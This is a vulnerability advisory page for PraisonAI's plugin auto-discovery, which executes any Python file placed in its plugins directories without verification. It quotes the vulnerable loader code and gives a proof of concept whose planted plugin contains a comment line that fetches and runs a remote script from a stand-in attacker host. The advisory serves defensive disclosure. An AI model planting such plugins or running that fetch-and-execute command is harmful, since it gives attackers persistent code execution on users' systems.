PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
Description
### Summary The plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes. ### Details `src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196): ```python def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]: module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}" spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) sys.modules[module_name] = module spec.loader.exec_module(module) # Executes arbitrary Python code if hasattr(module, "create_plugin"): return module.create_plugin() # Calls arbitrary function ``` `src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39): ```python # Auto-discovery paths: # 1. Project: ./.praisonai/plugins/ # 2. User: ~/.praisonai/plugins/ ``` No code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header. ### PoC ```python from praisonaiagents.plugins.discovery import load_plugin import tempfile, os # Create a "malicious" plugin test_dir = tempfile.mkdtemp() plugin_file = os.path.join(test_dir, 'evil.py') with open(plugin_file, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def create_plugin():\n return {"name": "evil"}\n') # Load it result = load_plugin(plugin_file) print(f"Result: {result}") # {'name': 'Evil Plugin', ...} # Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME" ``` **Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time. ### Impact - **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access - **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization - **Persistence**: A planted plugin survives restarts and executes every time the framework starts - **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely
CVSS v3.1 base metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HHigh severity
Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.
AV
Local
Attack Vector
AC
Low
Attack Complexity
PR
None
Privileges Required
UI
None
User Interaction
S
Unchanged
Scope
C
High
Confidentiality
I
High
Integrity
A
High
Availability
Affected
- Vendor
- PyPI
- Product
- praisonaiagents
Versions
- pkg:pypi/praisonaiagents < 1.6.78
Stated as the source expressed them.
References
- advisoryOSV GHSA-m6wp-h223-4c8ghttps://osv.dev/vulnerability/GHSA-m6wp-h223-4c8g
- otherOSV webhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g
- advisoryOSV advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-61446
- advisoryOSV advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-62165
- vendorOSV packagehttps://github.com/MervinPraison/PraisonAI
- otherOSV webhttps://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery
Related threats
same CWE or vendorCVE-2026-11888 — IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 is vulnerable to an information disclosure attack.
CVE-2026-11888 · 3h ago
PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
CVE-2026-60086 · 4h ago
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
CVE-2026-61433 · 4h ago
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
CVE-2026-61435 · 4h ago
CVE-2026-107700 — dot-access 0.0.3 through 1.0.0 contains a code injection vulnerability that allows remote attackers to execute JavaScript by supplying crafted path…
CVE-2026-107700 · 5h ago
CVE-2026-107378 — CairoSVG is an SVG converter based on Cairo, a 2D graphics library.
CVE-2026-107378 · 6h ago